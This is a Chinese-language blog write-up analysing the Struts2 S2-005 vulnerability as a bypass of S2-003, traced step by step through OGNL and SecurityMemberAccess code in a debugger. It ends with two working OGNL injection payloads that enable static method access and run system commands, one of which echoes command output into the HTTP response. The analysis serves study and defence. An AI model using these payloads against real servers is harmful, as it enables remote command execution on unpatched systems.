前言:
注:如果你跟我一样是个菜鸡并且没有看过S2-003,那么强烈建议去看一下S2-003的调用过程,我也有写,可以先看一下
昨天刚啃完了struts2-s003,第一次分析觉得超级复杂花费了大量的时间,同时也对整个解析流程熟悉了很多,听说S2-005是S2-003的绕过,不妨趁热打铁,直接分析一下.
注:以下内容以及思维逻辑站在一个刚开始接触java审计的菜鸡身上,同时也能记录我的思维进步过程
由于熟悉S2-003的调用过程,当我首次看网上各类文章的时候,分为两种
第一种:简单介绍一下这个是s2-003的绕过,然后提了一下unicode编码绕过,然后就说官方是通过增加一个沙盒模式进行修复,然后就是下载现成环境打一发payload结束
第二种:一些大佬们直接从代码层面分析代码的改动,首先新增了几个接口,由xxx实现,解释了一大波新的内容,新增了xxxx方法,这对于我这种开发经验不足且刚接触java审计的菜鸡无疑是毁灭性的打击,但是,既然是针对S2-003的绕过,那我就饶过这个本质而言,先尝试自己分析为什么旧的payload不能执行了分析完后没想到并没有这么复杂并且我自己在没有看别人发的payload的情况下也完成了绕过,虽说和原本S2-003的payload差距不大,但是这种分析问题的思路给了我很大的启发.
0X01:旧的payload为什么不能执行了?
修改一下pom.xml,将struts2的版本修改到2.1.8.1
和S2-003一样的分析步骤,完全相同的调用栈,但是其中多了一些步骤,这些步骤是在调用ognlUtil.setValue之前的,我们暂时不管他干了啥,直接来到触发点ognlUtil.setValue
可以看到此处已经经过了各种拦截器但此时expr仍然是我们可控的**,也就是说,S2-005的更新并没有从参数限制上下手,没有直接屏蔽这些unicode编码的特殊字符**
继续往下跟进
来到熟悉的setValueBody,此时children[0]已经被解析为正常的ognl表达式,说明仍然会将unicode编码进行解码
继续往下跟进来到执行第一个参数的地方
可以看到,children已经被顺利执行了,此时图中所示的context已经被修改为了false,到这里我们就能确定,我们还是可以通过S2-003的payload对context进行修改
接下来我们来解析第二个参数,也就是静态方法执行
按照之前的逻辑,此时children[0]的children[0]也就是@java.lang.Runtime@getRuntime().exec(‘calc’)是即将被执行的对象
从此往后一路跟踪到了关键的执行静态方法的代码部分,位于ASTStaticMethod.class
这部分过程和s2-s003几乎一样
如果是S2-003,到这里执行OgnlRuntime.callStaticMethod就会直接弹出计算器了,可是在S2-S005中会直接抛出异常,why?导致抛出异常的原因就是我们payload失效的原因,我们进一步跟进分析
往下调用,调用栈为
OgnlRuntime.callStaticMethod->OgnlRuntime.callStaticMethod(ma.callStaticMethod)->XWorkMethodAccessor.callStaticMethod.callStaticMethodWithDebugInfo->ObjectMethodAccessor.callStaticMethod->ObjectMethodAccessor.OgnlRuntime.callAppropriateMethod->OgnlRuntime.callAppropriateMethod()
经过上图调用栈我们来到了OgnlRuntime.callAppropriateMethod()
1 | public static Object callAppropriateMethod(OgnlContext context, Object source, Object target, String methodName, String propertyName, List methods, Object[] args) throws MethodFailedException { |
不难发现这里面由两个if判断,在这两个if判断之后就是
1 | Object var26 = invokeMethod(target, method, convertedArgs); |
正是这一行代码最终调用了我们的静态方法,前面说了,我们无法执行静态方法的原因是因为会抛出异常,那么在这段代码里面是在那个地方抛出了异常呢?我们回到debug模式上
在第进入第一个if后会来到一个for循环,此处定义了一个ilast,它等于args的长度-1,而此时args的长度是0,也就是说这里的ilast等于-1,i在上面已经等于0了,也就是说永远不可能满足0<=-1这样的条件,到这里直接就抛出异常,终止调用.
如何让这个地方不报错呢?我想到最直接的办法就是有没有办法能不经过这个if判断,让第一个if判断为false直接绕过呢?接下来我把重点放在了if判断的条件里面
if判断的条件是
1 | method == null || !isMethodAccessible(context, source, method, propertyName) |
想让if不执行,那我们就需要
1.让method不等于null或者isMethodAccessible(context, source, method, propertyName)返回true,而此时method本来就不等于null,所以我们需要想办法让isMethodAccessible(context, source, method, propertyName)返回true
跟进isMethodAccessible()
可以看到此时我们需要让context.getMemberAccess().isAccessible(context, target, method, propertyName)返回true
继续跟进context.getMemberAccess()
可以看到返回了一个_memberAccess,从debug下面来看与S2-003是由很大不同的,可以看到我们现在多了一个SecurityMemberAccess对象(_memberAccess),可以看到这个是属于OgnlContext的,也就是说他也是和context同级别,并且_memberAccess不是hashmap,里面的值都是成员变量与变量值的关系而不是键值对的关系,也就是说我们现在可以通过#_memberAccess.xxx=xxx的形式来修改这里面的成员变量的值
得到了SecurityMemberAccess对象后接着调用它的isAccessible方法
跟进
可以看到allow初始值为true,如果在第一个大的if里面变为了false,那么就会在第二个大的if直接被return false
而我们需要他返回true,看到第一个大if里面的第一个子if,
1 | if (member instanceof Method && !getAllowStaticMethodAccess()) |
如果这个if不被执行那我们就可以直接得到一个值为true的(allow,member instanceof Method) 已经为true了现在只需要让!getAllowStaticMethodAccess()为false也就是让getAllowStaticMethodAccess()为true
跟进getAllowStaticMethodAccess()
可以看到他获取了SecurityMemberAccess中的alloStaticMethodAccess作为返回值,这里是我们可控的,我们可以执行ognl表达式将这里改成true,现在我手动在debug模式下将它改为true,然后观察执行过程
修改完毕后直接跳过三个if来到了最后一行
跟进
此时满足条件,直接返回true
现在我们回到刚刚的地方
此时723行处的if语句已经被我们绕过了,下面的if (isJdk15() && method.isVarArgs())也没有执行,直接跳过,直接就来到了
至此第一个静态方法已经调用成功,接下来通过同样的调用栈第二个静态方法触发计算器即可
通过以上分析可以发现主要是因为SecurityMemberAccess对象中的alloStaticMethodAccess为false导致整个调用方法的时候会抛出异常,因此只需要在S2-003payload的基础上修改SecurityMemberAccess中的alloStaticMethodAccess为true即可,并不像网上的那么复杂.
poc:
1 | ('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(mengda)(mengda)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(mengda)(mengda)&(@java.lang.Runtime@getRuntime().exec('calc'))(mengda)(mengda) |
回显:
1 | ('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(mengda)(mengda)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(mengda)(mengda)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla)) |
有的时候用旧的payload进行调试找到导致旧payload失效的原因再根据原因想办法解决是一种不错的思路,可能比正着看代码要方便不少.